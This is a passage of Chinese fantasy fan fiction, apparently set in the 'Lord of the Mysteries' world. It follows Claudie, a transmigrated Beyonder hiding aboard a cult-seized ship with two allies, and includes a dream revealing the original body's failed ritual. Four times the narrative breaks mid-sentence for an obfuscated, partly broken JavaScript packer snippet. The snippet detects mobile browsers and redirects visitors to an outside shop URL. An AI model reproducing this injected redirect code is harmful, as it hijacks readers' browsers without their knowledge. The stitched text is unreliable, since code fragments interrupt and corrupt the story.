男人摸出一只瓷杯,倒满了水递给克劳狄。表情也从冷淡变得温和。姿态倒真有点像个关心后辈的长者:“如果刚刚没有我在,你真的会死在对面的连环杀手手里。对自己的战斗能力没有准确的认知可不行,生命只有一次。” 瓷杯是最朴素廉价的那种款式,温水在其中随着船只的行进微微晃荡。 克劳狄盯着杯中倒影犹豫了一下,伸手接过瓷杯,但并没有喝:“为什么救我?” 他不确定对方是不是认识身体原主。如果认识的话,那他当前的处境就有点不妙了。他对原主的性格一无所知,恐怕很难扮演对方。 幸而秘偶大师给出的答案不算坏:“因为你是他们的敌人,我们算是同一战线。而且帮助无辜受难的弱小是美德。” 说话间,男人在胸前比划了个古怪的图案。 “他们”指的肯定是刚刚那群人,杀死原主的凶手及其控制客船的同伙。对方要遵循敌人的敌人就是朋友这一逻辑确认他的立场,足以证明这位秘偶大师跟此前的原主没有交集,也不认识原主已逝的同伴。不同情形对应的话术不一样。 克劳狄暗暗松了口气。现在除了原主笔记本上记载的一切,和随身体继承的神秘学知识,他什么都不知道,什么都想不起来。如果这家伙很熟悉原主,那他今天恐怕就要交代在这了。 看来幸运还是眷顾他的。 眼前的秘偶大师实力很强,目前看来还算友善,没有滥杀的意图。可以想办法多聊几句,说不定能套出一些跟当前世界有关的重要信息。 克劳狄打定主意,在心里组织起语言来。但没等他接上话,来时的舱室出入口被人打开了。 微光洒落,他摆出警戒姿态。然而秘偶大师抓住他:“自己人。” 一道阴沉沉的影子从天而降,出入口随着他落地的响声自动闭合。来人是个肌肉结实的年轻小伙,外貌还算周正。一头蓝发十分惹眼。 小伙落地就开骂:“狗屎!那群杂碎太不讲道理了,看我跳水居然往海里撒尿!他们是不是脑子里塞满了棉花?居然用这种肮脏的手段对付我!以为我会被激怒吗?” 骂到一半,他看见了跟秘偶大师站在一起的克劳狄,话音陡然顿住。 克劳狄呆愣。 小伙眼神变了变,闭上嘴巴,默不作声地走到方桌旁薅住那位秘偶大师。然后歪开脑袋、眯起眸子,不耐烦地扭动眉毛:“这是谁?” “我救回来的无辜群众,”秘偶大师似乎已经对这种相处模式习以为常,回答完还有闲心对克劳狄介绍同伴,“这是我的同行者,加德纳,水手途径的野生非凡者。还没问过你的名字?” 克劳狄赶忙回答:“克劳狄。和你们一样,也是野生非凡者。” 这位加德纳先生看起来很不好相处,回答相同的社会职业或许有助于拉近彼此之间的关系。 而且他也不知道原主是什么身份,继承得来的记忆里只有关于神秘学知识的部分,原主的日记里也没写他和他的同伴们是做什么的。万一对方要核查他的底细,早做铺垫总没错。 加德纳果然因为这个答案多看了他一眼。不过是怀疑的一眼:“野生非凡者?” 相较于在海上冒险的投机者们而言,克劳狄的身材看起来不够壮硕。五海的男人们存在一种刻板印象,他们总将相貌出众的男性和议员或贵妇们怀里的小白脸联系在一起。他们会因为外貌轻视这类人,觉得这类人吃不了成为非凡者在危险中讨生活的苦。因此,加德纳深深觉得克劳狄的形象不符合野生非凡者这一身份。 秘偶大师看出了他眼底暗藏的轻蔑,主动为克劳狄正名:“他刚刚差点杀死对面队伍里的连环杀手。序列八对序列七,而且是怪物途径的序列八对罪犯途径的序列七,很了不起了。” “差点儿……是差多少?”加德纳哂笑,不以为然地,“总不能只要对谁动了手,就都叫差点儿杀死对方吧。他看起来很缺乏战斗经验,连长期使用枪械的手茧都没有一个。” 像是为了证明什么,蓝发水手晃悠到克劳狄身边。克劳狄只是眨了下眼,面前的瓷杯就被抢走了。罪魁祸首像是打了胜仗一样靠在桌沿上,挑衅地喝了口水:“不怎么样嘛。” 也不知道是在评价水的味道,还是在评价克劳狄的防备心。 克劳狄有点语塞。 好幼稚的行径,亏他刚刚还觉得这家伙很有强者风范。怀疑他的实力,不应该直接出手偷袭擒拿他,用武力压制打服他吗。 秘偶大师显然也跟他有相同的想法。不过这位很能控制面部表现,只瞥了加德纳一眼,就又重新倒了杯水递过来:“别理他。他的性格一贯是这么恶劣,但其实人不坏。你不用害怕。哦对了,我叫贝里特。” 克劳狄观察加德纳的脸色,接过瓷杯喝了进门以来第一口清水。依然没有什么异常。 进门时秘偶大师没有尝试控制他、两人齐聚也没有对他动手,杯子里没放毒药……那基本就可以排除这两位救他是另有所图的可能了,可以稍微卸下防备,交付点信任。 克劳狄捧起瓷杯,认真看着贝里特的眼睛说了声:“谢谢。” 之前逃命时不觉得,现在环境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320948|199049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安全下来,他才意识到自己的身体已经严重缺水了。也不知道贝里特是怎么看出来的。 也许是用灵视? 贝里特笑笑,回他:“不用客气。” 喝完水,克劳狄打量起周围的环境。这间储物间位置隐蔽,但看墙体材料,隔音不一定好。刚刚加德纳一直在高声喧哗,也不知道那群暴徒会不会发现这里。 “他们发现不了什么,别畏畏缩缩的。我们有特殊的非凡物品保护,就算你在这里模仿歌剧演员飙高音也不会有问题。看到你背后的手提箱了没有,里面有瓶药水,递给我。” 克劳狄恍然回头,发现是加德纳在说话。那家伙已经解开了上衣,正在尝试自己处理伤口。 加德纳在刚刚的战斗中伤到了侧腰。 背后确实有个手提箱,看起来破破旧旧的。克劳狄想了想,弯腰打开手提箱,在里面翻找起加德纳要的药水来。 他被锁在房间里的时候,正好是一位水手途径的强大非凡者帮他引开杀人凶手,又击溃了封锁房间的灵性之墙。那个人应该就是眼前的加德纳。虽然加德纳做那些事的本来目的肯定不是救他,但就结果而言,他的确是因此受益了。 恩人的小小要求,他没理由拒绝。 “你还真不跟人家客气。”贝里特对加德纳随意使唤人的作风表示谴责。但不知道为什么,也没有阻止克劳狄动作,只是在克劳狄弯腰时伸手托了他一下:“他身上也有伤。” 身为占卜家途径的序列五,他的灵感远比加德纳高,判断起克劳狄的身体情况来也更准确。 加德纳一愣,撇开头冷哼:“那跟我使唤他做事有关系吗?总不能白救他吧。” “当然有关系!”贝里特嘿声,“救他的是我,凭什么让你挟恩图报?” 克劳狄专心寻找加德纳说的药水,并不参加两人的斗嘴。手提箱里的物品相当混乱无序,仿佛已经很久没整理过了。他翻腾了好一会才在边缘缝隙里找到一只小玻璃瓶。玻璃瓶里装着灰黑色的油状液体,应该是加德纳说的药水。 从原主记忆中继承得来的神秘学知识让他迅速判断出,这是治疗外伤的魔法药剂。应该是由专业药师调配的,价格十分昂贵。 “是这个吗?”他掏出小玻璃瓶递给加德纳。 加德纳点头,让贝里特帮自己接过药水。克劳狄这才重新弯腰抱起刚刚倒出来的杂物,一一塞回手提箱。双排扣大衣、匕首、扑克牌,《格尔曼和三个女海盗》……加德纳长得一脸正直,私底下居然会看这种书。 克劳狄偷偷瞄了加德纳一眼,面无表情地收好扉页边角破损,显然已经被主人翻过很多遍的《格尔曼和三个女海盗》。 加德纳没注意到他的小动作,看他起身,也只是在灌药的同时低低嘀咕了一句什么。片刻后又问:“你的伤势怎么样,严重吗?” “不严重。” 不能说不严重,是致命伤。但这个不能告诉加德纳和贝里特。穿越和起死回生还是太匪夷所思了。何况他还对当前世界的情况一无所知。 克劳狄扣好加德纳手提箱的锁扣,将其推回原先的位置。穿好衣服的水手若有所思地看了他一眼,也不知道有没有相信他的搪塞。 但肉眼可见的是,他刚刚递过去的玻璃瓶被加德纳递了回来。 水手途径的蓝发小伙用手背撞撞他:“剩下的你喝了,别浪费。这药花了我二十磅。但凡浪费一滴,我就把你从甲板上扔下去喂鲨鱼!” 5. 恶魔的献祭 玻璃瓶里的药水还剩下二分之一。 克劳狄惊异挑眉。 没想到加德纳嘴上气人,心地还蛮善良的,这么贵的伤药都舍得跟他分享。他要收回先前对这家伙脾气不好、难以相处的负面评价了。 “快点!还要我举着这只破瓶子多久?” “噢……谢谢。” 克劳狄接住药水,迟疑着喝了一口。加德纳还是那副恶声恶气的态度,但眼神肉眼可见的缓和不少:“我可不是关心你,只是不想你死在我们这里,尸体发臭污染空气。懂吗?” “懂。”克劳狄点头。 他完全懂了。这位水手先生的确像贝里特描述的那样,性格恶劣了一点但人不坏。典型的面冷心热嘴毒但善良型。这样的人最好哄了。 加德纳轻哼一声,扭开脸去不看他了。贝里特因此捋了捋桌面上的杂物,转身走到克劳狄身边坐下。克劳狄敏锐地发现,对方整理了所有东西,唯独没有收起摆在桌面中央的玻璃球,那东西是自然发光的,屋子里的照明全都要靠它。 奇怪。非凡物品? 克劳狄默默收回视线,放下空掉的玻璃瓶。 短暂的静默后,贝里特发问:“你也不是因蒂斯人吧?听你说话好像有点鲁恩口音,而且你用的沉眠符咒隶属黑夜领域,你是黑夜女神的信徒?为什么会坐上这艘船?” “嗯……这说起来很复杂。” 克劳狄心想,他也很想知道原主是哪里人,为什么要坐上这艘船。但事实上他连贝里特话里提到的这些国家在哪里都不知道。 看贝里特和加德纳好像都很期待自己回答的样子,他只能结合原主日记中透露出的信息进行一些瞎编:“我接受了一位先生的委托,帮他到弗萨克帝国办点事。具体是什么事务,不太方便透露。总之因为这样那样的原因,我和我的同伴辗转到因蒂斯,就意外坐上了这艘船。” “雇主信息要保密,这我们懂。”贝里特善解人意地划开打火机点了支雪茄。点完咂摸两口,叼着它吐出一口白茫茫的云雾:“那你们的运气可真差——你同伴是哪条途径的非凡者?” “呃……” 这他怎么知道?克劳狄语塞了一下,在脑子里的神秘学知识里随便挑了个选项:“不眠者。” “不眠者?”这个答案让一直没插嘴的水手凑上前来,“主要由黑夜教会掌握的非凡途径啊。这样的话,那你们坐上这艘船也不奇怪了。对面那群人手里有一份不眠者途径的非凡特性。但我听说他们在弗萨克帝国盗取了一样原战神教会的0级封印物,最近正在被官方组织追捕。你不会跟黑夜教会有什么关系吧?值夜者的线人?” 克劳狄一愣,毫不犹豫地摇头:“这个应该是巧合吧,我不认识值夜者的人。” 从弗萨克到因蒂斯,再到坐上这艘船,路线倒是跟原主日记中的描述吻合。但官方教会培养的非凡者不至于弱到这种程度吧,他穿过来之前整支小队都已经死光了,五个人一个不剩。 根据从原主那里继承得来的神秘学知识,黑夜教会是有底蕴有实力的。鉴于此,他更倾向于原主与其同伴是跟在邪恶组织背后试图黑吃黑或者捡漏的第三方。 加德纳盯着他的眼睛看了会,大咧咧地退回原位:“也是。听说他们没有怪物途径的……极光会倒是……但这小子的性格看起来不像。” 不知道出于什么动机,说到后半段,他逐渐转换人称压低了音量。克劳狄默然收回视线,只在心中暗暗记住最后那个含混的关键词。 极光会。 贝里特没注意两人间的暗潮涌动,看加德纳恢复沉默,又顺畅接过话头:“既然你说你还有同伴,他现在在哪?外面已经基本被拜血教那群人占领了,邪教徒们正在清洗船上所有非己方势力的非凡者。留在船舱里不安全。或许你可以把他叫过来,这里还能挤得下两三个人。” “他死了,”克劳狄回神看他,“死在那群恶棍手上。昨晚他们也派了人杀我,但没杀成。” “这样啊……节哀。” 贝里特拍拍克劳狄。 能够结伴出行做任务的非凡者搭档,彼此之间多少都是有感情的。他了解失去同伴是怎样的痛苦,所以安慰起克劳狄来也十分感同身受。 可惜克劳狄已经不再是原先的克劳狄,对原克劳狄的同伴们没什么感情,也并没有因为他们的死亡感到悲伤愤怒不能自已。他只是礼貌地道了声谢,就主动转移话题:“别光聊我了,聊聊你们吧。你们是怎么坐上这艘船的?你们知道他们是拜血教的人,是特地追着他们来的?” 拜血教,在原主所了解的神秘学知识中,是一个崇拜恶魔的邪恶组织,与黑夜女神教会属敌对关系。信仰邪神“宇宙暗面”,其成员多数为罪犯途径,行事风格残忍又血腥。 杀死原主的凶手很符合拜血教的成员特征,他并不怀疑贝里特和加德纳话语的真实性。但他对贝里特和加德纳的身份存在疑虑。这两个人有点太过于善良正直了,不符合野生非凡者的典型特征。野生非凡者,即使是最有原则的那一批,也不会冒着风险救下一个陌生人,还拿价值二十磅的药剂给他喝。甚至不要求他支付报酬。 非凡者晋升的魔药材料十分昂贵,绝大多数没有背景的非凡者都会本着精打细算的原则过日子。而眼前这两位,实力不低,在金钱上也不吝啬,应该不是毫无背景的普通游客。 听到他的问题,贝里特笑了笑:“很警惕。我们的确是为了追查一些事才会坐上这艘船。直白地告诉你也没关系,这群拜血教教徒劫持船只是为了将游客们运往深渊入口,而我们的目的是阻止他们深入迷雾海,献祭船上的游客们。” 他故意避开了克劳狄对他们身份的探究。 克劳狄想了想:“献祭?” “没错,”加德纳接过话头,“一整船的人都是他们的祭品。到目前为止,我们还没搞清楚他们的献祭流程具体是什么。唯一可以确定的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320949|199049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,他们似乎要在拉夏岛附近与一艘海盗船会合。” 克劳狄“哦”了一声:“拉夏岛是哪里?” 加德纳手里的东西“咚”声落地,贝里特也不可思议地看向他。克劳狄从他们的眼神中读出了看到傻瓜的惊奇意味。这两人的表情就好像在说——天哪!这家伙是个地理盲! 最终还是好脾气的贝里特咽了咽口水,艰难地翻出一张地图指给克劳狄看:“这里。” 克劳狄扫了一眼贝里特手指的方向,又飞快打量了一圈附近的大陆地形,勉强将鲁恩、因蒂斯和弗萨克在哪里记下。这张地图显然是不完整的,克劳狄觉得纸张未描述的地方应该还有其它大陆,只是本时代的人们对其知之不详。 加德纳趁机来到贝里特身旁,用食指在地图上划过一线:“这艘船原定的航线是这样,从因蒂斯西南海岸经过迪西海湾,普利兹港中转,再到恩马特港。但现在他们中途改变航线,直奔迷雾海的方向去了。在抵达拉夏岛之前,船只不会有任何形式的停泊。所以我们想要阻止他们的阴谋,就只能在拉夏岛动手。” “明白了,”克劳狄点头,“我们现在在哪?” 贝里特给他指了个大概的点位。 克劳狄打量这个点位,按照比例尺大致算出船只与拉夏岛的实际距离,和船只剩余的航行时间。最多还有两天船只就要靠岸。有昨晚的混乱在前,船上的拜血教成员们一定会想办法在这两天里解决他们,防止拉夏岛的接头遭到破坏。 又或者…… 克劳狄抬眼:“如果不能在这两天内解决你们,那他们一定会提前通知后面接头的海盗船,跟海盗们联手做一个陷阱对付你们。” “不是‘你们’,是‘我们’,”加德纳歪斜身体纠正他,“现在你跟我们是同一阵线。你觉得我和贝里特被他们杀掉的话,你还能活着逃走?” 克劳狄沉默。 诚然这是事实,但事实听起来也太刺耳了。 他真是瞬间就觉得前途一片暗淡……目前看来船上的非凡者个个都比他强,他如果跟贝里特和加德纳一起对付拜血教的人,最先被拜血教击杀的概率是百分之九十九点九九。 剩下那百分之零点零一,赌恶魔们的善心。 但恶魔们哪来的善心? “别那么沮丧嘛,”贝里特看出了他的心理变化,拍肩安慰他,“免费告诉你一个秘密,怪物途径的序列七叫幸运儿。也许你能在这次的事件中提前体会成为幸运儿的心情,对你未来的晋升道路多有帮助啊!毕竟现在你想活着下船,几乎就只能靠运气了。” 克劳狄有气无力地假笑了一声。 “那我再告诉你一个秘密?那艘预计会在拉夏岛跟他们会合的海盗船上,很可能有一个罪犯途径的半神。哦不对,说不定不止一个半神。” “……我真谢谢您。”这人明明可以不用安慰他的,还偏要来挑衅他一下。 克劳狄忽然很想当场去世。 6. 0-47 船长室。 高度恶魔化的拜血教成员坐在阴暗处,表情愠怒,像是风暴欲来。他面前放着一只黑漆漆的铁匣子。冷光顺着金属的转折线缓慢流淌,像是一条条绑缚盒盖的丝线。 但那股虚化的丝线已经失去意义,铁匣内部空空如也。 “大人,”宽脸的连环杀手越过船长和船员们的尸体,谦卑地递上一张塔罗牌,“让他跑了。看来早在出发以前我们内部就出了告密的叛徒。一个序列六的风眷者,一个序列五的秘偶大师,他们绝不是临时起意坐上这艘船的。如果没有摸清船上的情况,第三方不会如此精准地派出这样两个中序列对付我们。” 恶魔状的大人冷笑。 递到他面前的塔罗牌已经被翻至正面,露出受难者倒挂在绳索上的牌面——倒吊人。序号十二的大阿尔卡纳,代表奉献与自我牺牲。 恶魔捏起那张牌面翻转,“啪”一声扔飞。 “塔罗会。” 蛰伏这么久,终于忍不住出手了。 “还有一件事……我觉得应该向您汇报。昨晚您让我解决的最后那只老鼠,他没死。准确地说,是死了又活了。当时我将他一击毙命,连心脏都掏了出来。但不知道为什么,后来我在船舱外再次遇到他,他就像没事人一样。” 死而复生? 恶魔拧了拧眉,不知想到什么,蓦然看向桌面上的空铁匣:“找到封印物0-47的下落了吗?” “暂时还没有。” “……真是群废物。带着你们有什么用。” 连环杀手低头听训,不敢反驳。他知道对方的怒气绝不是针对这一两次的意外,从那件封印物突然消失以来,所有人都是日夜悬心。 那可是0级封印物,联通异界天国的钥匙,具备活着的特性。不自量力试图驱使它的人会遭到报复。现在它从他们手上逃脱,一定会想办法杀死他们。不,是杀死船上的所有人! 一想到这些,连环杀手就感到一阵恐惧。 “0-47的丢失或许跟那只老鼠有关系,”“大人”若有所思的话音唤回了他的神思,“去把那只老鼠找回来,杀了通灵。” 连环杀手连忙正色:“是。” “随时联络更正船只航向,别被它带到什么阴沟里去了。那种0级封印物很狡诈。” “……是。” …… 在加德纳和贝里特有意的帮助下,克劳狄大致了解了这艘船上的情况。敌方初始共有七人,其中有两人已经在昨晚的战斗中毙命。剩下的五人,有两个低序列,一个序列七的连环杀手、一个被控制的审讯者,和一个序列五的恶魔。 无论是人数、途径的战斗加持特性还是其他方面,敌方实力都远胜过他们三个。更别说那群人手里还有一件相当可怕的0级封印物。 贝里特说,那件0级封印物自被战神教会封存直至去年,从未被外界探知过,各大官方教会的非凡者高层也未必知道它的样子和能力。如果不是几年前那场席卷大陆的战争导致战神教会内部动荡,拜血教也不可能得到它。 说这段话时,贝里特的语气十分笃定,就好像他是什么官方教会的内部人员似的。克劳狄因此对他的身份有了点猜测,但没表露出来。 天亮以后,贝里特离开了舱室。加德纳也向克劳狄解释了这间屋子能躲过拜血教教徒们搜查的原因——桌面上那只玻璃球果然是非凡物品。 “这东西叫‘黑暗角落’。能够隐秘十米半径内的空间,能力十分实用,但使用条件也麻烦。每隔十六个小时,你需要向它浇灌300ml的活人血液,将玻璃球面浇透。献血者必须是活人,而且不要连续三次使用同一个人的血液。向它贡献完血液的十六个小时里,献血者本人不能在受它庇护的空间里入睡。另外最重要的是,千万别在它的生效范围内持续停留二十个小时以上。” 克劳狄看着加德纳划破手掌按上玻璃球面,发自内心地好奇了一句:“如果连续三次使用同一个人的血液会怎么样?” “会被它‘吃’掉,”加德纳望着血液沿“黑暗角落”淌流,“哦,还有一条注意事项,差点忘了,没有向它献出血液的人不能单独面对它。” 克劳狄点点头,认真观察起玻璃球内一闪一闪的光泽来。加德纳的血液沿球面淌落到底座,居然没有留下什么难以清洁的污渍。玻璃球将所有的血液都吸收了。细看之下,红色褪去的一瞬间,反光中似乎还有复杂的纹路一闪而逝。 纹路拼成的图案,像是储物间里的景象。 加德纳很快结束献血,用绷带把手心缠了起来。克劳狄撑起胳膊看他动作,莫名冒出个“这家伙身上明明有伤口在流血,为什么还要割破手心再制造一道伤口”的念头。但他没敢把这种想法说出来,怕被加德纳揍。 脱了上衣把非凡物品按在腰上取血,这场景想想也挺奇怪的。 加德纳不知道他在想什么怪事,系好绷带就踢他小腿:“虽然你的死活跟我没什么关系,但我还是要提醒你一句,下一次就轮到你放血了,如果你不趁这个时间睡一觉,之后我们没时间给你休息。放血之前你必须先跟我一起出去透四个小时的气,刷新持续停留时长。所以当前这十二个小时,是你最后的休憩时间。” 克劳狄算了算,船只还有最后四十多个小时抵达拉夏岛。靠岸后,无论是选择帮助加德纳和贝里特对付拜血教成员们,还是趁乱自己逃跑,他都需要恢复体力,保持一个良好的状态。 加德纳的建议是有道理的。 他擦擦地上的灰尘,靠着船舱外墙坐下。静默片刻后,才想起来要回应加德纳:“谢谢。” “你到底在哪学的礼貌?”加德纳嗤笑,“我们船队里最不擅长说话的人都比你反应速度快。” “船队?” “呃……我家住群岛,以前是个捕蟹人。” 克劳狄抱着手臂并不睁眼,心说“骗鬼呢”。但也不拆穿加德纳。加德纳和贝里特属于哪方势力对他来讲一点也不重要,哪怕跟原主阵营敌对也没关系,毕竟他不是原主本人。 只要他们不威胁到现在的他。 克劳狄打了个呵欠,缓缓偏过头去。之前精神高度紧张,熬了一个通宵也不觉得累。这会突然放松下来,困意瞬间就铺天盖地地把他压倒。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320950|199049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 世界的声音慢慢变得迟缓,加德纳还在断断续续地说话。他隐约听到对方念叨了两句“0级封印物”、“恶魔召唤术”什么的。最终,世界归寂。 …… 意识沉眠后,一切都是粘稠的。 克劳狄的精神逐渐脱离现实喧嚣,落进沉闷的黑暗。远空中有轻微的“沙沙”声传来,仿佛星空之外嵌着一座巨大的瀑布。它正在永无休止地流淌着。克劳狄本能地舒展意识,“沙沙”声便逐渐推近。一只巨大的沙漏出现在他眼前。 他低头,发现自己站立在沙砾流落的关口。 是梦? 克劳狄的神思清明过来。他意识到这里是自己的梦境。世界旋即变得清晰,沙漏后方的远空逐渐明亮,幻化成无穷星空。 一颗颗星子无声闪烁,仿佛血腥的鬼眼。 有东西在星空外看着他。 ——不知道为什么,克劳狄脑子里自动冒出了这样的想法。 身后的纯白沙砾无止息地下落,通过细小的关口蓄积在下方空洞中,被黑暗染色。他缓慢将感知探入黑暗,忽然间,梦境归于一种极其真实的情形。有道声音背对着他默念了一句什么。 什么……他听不清。 克劳狄堕入其中,神思恍惚。一切都变得混乱而模糊,像是被白茫茫雾气包裹的静止画卷。沙漏、星空,无穷的黑暗同时崩解。 他落回到最初的船舱里。 遗失的记忆倒回、定格,又重新开始流动。 绯红月色照耀窗台,房间的地面上横七竖八显现出许多陈旧的仪式材料。香薰蜡烛上的火光细成一线,诡异地跳跃着。而“他”端坐在复杂的仪式魔法绘图前,轻轻割开胸腔皮肉。 是克劳狄·奥兰多,原本的克劳狄·奥兰多。 克劳狄瞬间清醒,快步上前,试图从这一情形中找到什么和原主身份有关的线索。但原主忽然抬头——那双蓝眼睛里流淌的疯狂让他顿步。 匕首尖端的血肉被克劳狄·奥兰多送进火光。细成一线的火苗猛然窜高,仿佛从地狱里爬出来的毒蛇般、细细嚼碎“他”敬献的祭品。 血红皮肉被火舌舔舐成灰。房间里的风声陷入沉寂。克劳狄·奥兰多摔跪下去,艰难喘息。 “他”似乎说了什么,但克劳狄听不清。 下一秒,虚空裂隙自黑暗处展开。克劳狄眸光一滞,本能地出声提醒:“躲开!” ——然而没用,凶残的骨蛇陡然自裂隙中飞出,克劳狄·奥兰多因疼痛而微微抽搐的胸口瞬间被血液染红。他时隔十多个小时的提醒并不能跨越时空挽救原主的生命,眼前这一切只是梦境,只是对原主记忆的复现而已。 克劳狄伸出的右手僵在半空。 原主扑倒在地,眼底光芒逐渐暗淡,血泊沿着他的身体轮廓向外蔓延。场景慢慢褪色,环境声音也变得驳杂。最后,世界定格在杀人凶手踢翻那根香薰蜡烛的一瞬间。 原主准备的仪式材料着了火,在火光中化作飞灰。而意识消弭的最后一秒,克劳狄看到地面上的火焰由白转蓝。虚幻的呓语奔涌具象,将绯红月色异化成诡谲的白。 7. 十二号牌 环境重归黑暗,沙漏的窸窣声再次浮现。 克劳狄缓慢放下悬空的手臂。 虽然刚刚发生的一切都是既成事实的过去,但亲眼看着原克劳狄惨死在自己面前,他还是觉得有点不太好受。胸口闷胀。 好一会他才从恍惚中回神,意识到那一幕中其实暗藏了不少有用信息。 原主那个仪式的流程很奇怪。祈求对象不是这个世界的任何一位正统神明,疑似某种邪恶存在。在六月十八日的最后那篇日记里,原主说他做了一个别无选择的无奈决定,应该就是指向这位邪恶存在祈祷的事。 这位邪恶存在并非原主信仰的对象。那篇日记的字里行间流露出强烈的挣扎与不安,所以显然,当时是原主第一次尝试与祂沟通。 整件事情的经过应该是这样:原主在被拜血教教众逼入绝境、同伴全军覆没的情况下,尝试以向邪神祈求的方式自救,然而这一过程被拜血教的连环杀手打断,沟通邪神的仪式发生了扭曲。之后他就穿到这里成了克劳狄。 他的穿越或许跟那股扭曲仪式的力量有关。 克劳狄回神,思路逐渐清晰。 ——得想个办法弄清楚原主当时的祈求对象是谁才行。 他环顾一圈,尝试驱动大脑再次复刻刚才的情形。然而梦境并没有随他这个梦境主人的意愿发生改变,世界又变回了那副星空浩瀚的模样。 唯一发生改变的是那只沙漏。 在倾泻完最后几粒薄沙后,沙砾停止流动。 克劳狄低头观察,发现沙漏下半部分的沙砾呈现出黑色并不是因为受到环境阴影影响,而是白色的沙砾在通过连接沙漏上下两部分容积的极细漏口后,会随着下落过程自动变成黑色。 细看的话,那些沙砾还散发着幽幽的微光。 克劳狄眯了下眸,本能地想上前触碰那些幽光散沙。然而他刚靠近就被斥退,有道无形的屏障将他阻隔在外,勒令他只能旁观万物的流转。 他不得不收手。 静默中,梦境倒转。 堆积在沙漏下部的黑色沙砾又开始向白沙区流动,细成一线的黑沙通过极细漏口,在某种不知名力量的影响下变色。仿佛永不停歇的循环。 …… 克劳狄悠悠转醒。轻微的眩晕感随着光线刺破眼皮的亮度扩散开来。他动了动脖子起身,盖在胸口的外套闷声坠地。 双排扣风衣,加德纳的外套? 他懵然抬头,发现外出透气的秘偶大师已经回来了。蓝发水手正坐在秘偶大师对面,斜着眼睛看他:“哟,醒了。” 非凡物品“黑暗角落”还在桌面上散发着幽幽微光,古怪的梦境产物消弭无迹。但不知道为什么,睡梦中的所见所感并没有遵循常理从他记忆中淡化,反而随着他清醒的过程,越发清晰。 那一切,似乎不只是个梦。 克劳狄不动声色地捡起大衣,拍拍灰尘将其递回给加德纳:“谢谢。” “不用谢我,是贝里特给你盖上的,我才不关心你会不会冻死。”加德纳随手接过风衣扔到椅子上。停顿片刻后,又挑眉打量他:“你一睡就是九个小时。在这种情况下也能保持这么好的睡眠质量,该说你乐观吗?” 自从上船,加德纳和贝里特每天的睡眠时间就不超过三个小时。加德纳不明白克劳狄为什么能这么放松,毕竟他们也才认识半天。 克劳狄听懂了他的意思,于是笑笑:“我只是一个序列八的机器,在中序列非凡者的战斗中起不到决定性的作用。唯一能做的就是,在最后的战斗之前尽量保存体力、保证充足的睡眠,恢复到一个良好的状态,必要时及时逃跑,不给两位拖后腿。这里有两位守着,对我来说很安全。如果他们能突破两位的防线,那我是睡着还是醒着都一样要死。我的紧张没有任何现实意义。” 加德纳“嘿”声:“不怕我们对你下黑手?” “如果两位想的话,完全不用等到我睡着。” 这是完全合乎逻辑的。加德纳说不出话了。贝里特趁机翻出手掌心,用胳膊肘怼怼加德纳的肩膀。蓝发水手不情不愿地掏出一张纸钞。 克劳狄莫名。 面善心黑的秘偶大师解释:“我跟他拿你打了个赌。他输了。我说你是个聪明人,不会把时间浪费在试探我们上,他不信。” 好无聊的议题。这也能拿来打赌,这个世界的中序列非凡者都这么闲吗…… 克劳狄默然坐到两人身边,看贝里特收好那张纸钞后,摸出一副塔罗牌开始洗。 他睡了九个小时,也就是说,接下来他最多还能在房间里待三个小时,就得出去透气,刷新“黑暗角落”的持续停留时间,然后交接献血了。离抵达拉夏岛还有三十多个小时的航程,那群恶魔肯定会收紧对船只的控制,想办法抓住他们。他一个序列八,出去就是送死。 虽然加德纳说过会跟他一起,但对面有一个序列五、两个序列七。加德纳才序列六,一打三还要保他这个拖后腿的不死,恐怕有点吃力。 克劳狄默数贝里特翻出来的牌面,故作不经意地呵欠:“受‘黑暗角落’庇护的间隔透气时间一定要是四个小时吗?” “最低是四个小时,”贝里特收拢所有单牌,垒成一摞塞进牌袋,“不用担心,他们队伍里那个序列五的欲望使徒暂时还不会出手。集体行动的弊端就体现在这里,我不现身的情况下,欲望使徒不会自降身价亲自对付你们两个。除非那几个地位低于他的家伙都死光了,或是他们全部失去战斗能力。这就是我昨晚不杀那名连环杀手的原因。两个序列七,加德纳还应付得来。” 克劳狄抬眼。 无端有一种被对方看穿了心思的感觉…… 但占卜家途径的非凡者应该不会读心吧。 他不太确定地撇开脸,将视线转到加德纳身上。按照加德纳对“黑暗角落”的描述,他和加德纳离开后,贝里特算是非献血者单独待在“黑暗角落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 